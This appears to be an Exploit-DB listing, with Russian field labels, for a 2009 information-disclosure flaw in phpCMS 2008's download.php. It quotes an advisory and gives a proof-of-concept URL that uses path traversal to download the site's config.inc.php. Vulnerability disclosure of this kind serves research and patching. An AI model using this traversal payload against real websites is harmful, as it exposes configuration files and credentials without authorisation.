Exploit phpCMS 2008 - 'download.php' Information Disclosure

[Exploiter]

EDB-ID

34486

Проверка EDB

1. Пройдено

Автор

SECURITYLAB.IR

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

N/A

Дата публикации

2009-10-19

phpCMS 2008 - 'download.php' Information Disclosure

source: https://www.securityfocus.com/bid/42514/info

PHPCMS2008 is prone to an information-disclosure vulnerability because it fails to sufficiently validate user-supplied data.

An attacker can exploit this issue to download local files in the context of the webserver process. This may allow the attacker to obtain sensitive information; other attacks are also possible. 

http://www.example.com/download.php?a_k=Jh5zIw==&i=20&m=2&f=../include/config.inc.php&t=2233577313&ip=127.0.0.1&s=m/&d=1